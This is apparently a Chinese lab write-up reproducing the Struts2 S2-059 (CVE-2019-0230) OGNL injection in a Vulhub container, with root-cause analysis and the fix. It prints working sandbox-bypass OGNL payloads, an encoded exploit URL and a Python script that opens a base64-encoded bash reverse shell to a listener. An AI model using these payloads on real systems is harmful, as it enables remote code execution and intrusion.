CVE-2019-0230(S2-059)是 Struts2 的远程代码执行漏洞,CVSS 9.8。Struts2 标签库(继承 AbstractUITag 的标签,如 <s:a>、<s:label>)的 id 属性会对属性值进行二次 OGNL 解析:当开发者在 id 属性中使用 %{...} 表达式且表达式内的变量可被用户控制时,攻击者可以构造恶意 OGNL 表达式。Struts2 2.5.20 内置了 OGNL 沙箱(禁止访问的类与包名单),攻击者需要先通过表达式清空沙箱黑名单,再调用 java.lang.Runtime 执行任意命令。
复现基于 Vulhub 的 struts2/s2-059 靶场(Struts2 2.5.16),覆盖表达式二次解析验证、沙箱绕过、反弹 Shell 三个阶段,并逐行拆解两条 OGNL 利用链。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| S2-059 / CVE-2019-0230 | 9.8 | Apache Struts2 2.0.0-2.5.20 | OGNL 表达式注入 → 远程代码执行 |
漏洞复现
漏洞利用条件
该漏洞利用限制较多,需同时满足以下条件:
- altSyntax 功能开启:默认在高版本中已关闭
- 特定标签:继承
AbstractUITag类的标签(如<s:a>、<s:label>等) - 特定属性:仅
id属性会被二次解析(其他属性直接赋值) - 可控输入:标签
id属性使用%{...}表达式,且表达式内变量(如skillName)可被用户控制 - 无安全验证:应用未对用户输入进行 OGNL 表达式过滤或安全校验
复现环境准备
S2-059 利用条件苛刻,手动搭建易出错,优先使用现成的 Docker 镜像:
# 安装Docker和docker-composeapt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器cd vulhub/struts2/s2-059docker-compose up -d
# 确认容器启动状态docker ps | grep s2-059
9210c78f5333 vulhub/struts2:2.5.16 "/usr/local/bin/mvn-…" 3 minutes ago Up 3 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-059-struts2-1启动成功后,访问 http://192.168.31.148:8080,能看到 Struts2 测试页面即环境就绪。

验证表达式二次解析
构造请求 http://192.168.31.148:8080/?id=%25{6*6},F12 查看元素会发现 id 的值变成了 36。

其中:
?id=:HTTP 请求的参数键值对,id 是参数名(对应 S2-059 漏洞中可触发二次解析的标签id属性);
%25{6*6}:%25 是字符 % 的 URL 编码,%{6*6}为 OGNL 表达式模板(S2-059 漏洞中,开启altSyntax后,%{}包裹的内容会被当作 OGNL 表达式解析);
注:如果此处测试请求为%25{1+1},按 HTTP 标准(RFC 3986),参数中的 + 号会被自动解码为空格,最终服务器实际接收到的 id 参数值是 %{1 1}。
突破沙箱限制
这是 S2-059 远程代码执行的前置必要步骤,没有这一步,所有命令执行 POC 都会被沙箱拦截。2.5.20 版本为了防御 OGNL 注入,会通过OgnlUtil类维护禁止访问的类与包名单(比如java.lang.Runtime、java.io等敏感类)。
OGNL 表达式为:
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}(#context=#attr['struts.valueStack'].context):获取 Struts2 上下文对象。struts.valueStack是 Struts2 的核心对象,存储了请求的所有上下文信息;#attr是 OGNL 中访问页面属性的关键字(#container=#context['com.opensymphony.xwork2.ActionContext.container']):从上下文里拿到容器对象,这个对象管理着 Struts2 所有工具类的实例。ActionContext.container是 Struts2 的 IOC 容器,负责创建和管理核心工具类(如OgnlUtil)(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)):获取 OGNL 工具类。OgnlUtil是控制 OGNL 沙箱黑名单的核心类,getInstance()是容器的实例获取方法;@类名@class是 OGNL 中访问静态类的语法(#ognlUtil.setExcludedClasses('')):清空黑名单类。setExcludedClasses('')将沙箱的禁止类名单设为空字符串,默认黑名单包含Runtime、Process等敏感类
编码后的 URL 为:
http://192.168.31.148:8080/?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D任意命令执行
OGNL 表达式为:
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('command'))}这个表达式比上文更简洁、更底层,可以实现权限绕过与命令执行。
(#context=#attr['struts.valueStack'].context):获取 Struts2 上下文对象。#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)):取消所有对私有方法、静态方法、敏感类的访问限制。@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS是 OGNL 的默认权限实例,无任何访问限制(允许调用私有方法、静态方法、任意类);这一步替代了清空 OgnlUtil 黑名单的操作,是更底层的权限绕过方式。@java.lang.Runtime@getRuntime().exec('command'):调用 Java 的核心类执行任意系统命令。
攻击机监听:
nc -lvvp 6666使用 Base64 在线编码解码将原始命令编码,是绕过命令检测机制的初级方法:

编写 Python 脚本:
import requestsurl = "http://192.168.31.148:8080"data = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"}res = requests.post(url, data=data)反弹成功,可以看到容器 id 9210c78f5333 正是靶机的 id:

漏洞核心原理
S2-059 的成因是 Struts2 标签库对 OGNL 表达式的二次解析。UIBean 类的 populateComponentHtmlId() 方法在处理标签 id 属性时,会调用 findStringIfAltSyntax 对属性值再执行一次 OGNL 解析。当属性值中包含用户可控的内容时,攻击者提交的 %{...} 表达式在第二次解析中被执行。
沙箱绕过依赖两个路径:其一,通过 OgnlUtil.setExcludedClasses('') 清空类黑名单;其二,更底层地通过 setMemberAccess(DEFAULT_MEMBER_ACCESS) 恢复 OGNL 的默认无限制访问。两者都利用了 OGNL 可以访问 Struts2 内部容器对象的特性。
修复方案
- 升级 Struts2 至 2.5.22 或更高版本
- 修复方式:
UIBean类的populateComponentHtmlId()方法中,对id值使用findStringIfAltSyntax时添加额外判断,避免二次解析
参考链接
- Apache Struts2 官方公告(S2-059):https://cwiki.apache.org/confluence/display/WW/S2-059
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2019-0230
- Vulhub 靶场:https://github.com/vulhub/vulhub/tree/master/struts2/s2-059
附录:Docker 换源
sudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": [ "https://docker.m.daocloud.io", "https://reg-mirror.qiniu.com", "https://docker.1panel.live" ]}EOF# 重启Docker生效sudo systemctl daemon-reloadsudo systemctl restart docker阿里云提供个人专属镜像源,速度更快且更稳定。登录阿里云控制台,在“镜像加速器”板块获取专属的镜像地址替换上面的地址。阿里云镜像加速器的使用存在环境限制,并非对所有网络开放,仅面向阿里云用户的公网产品。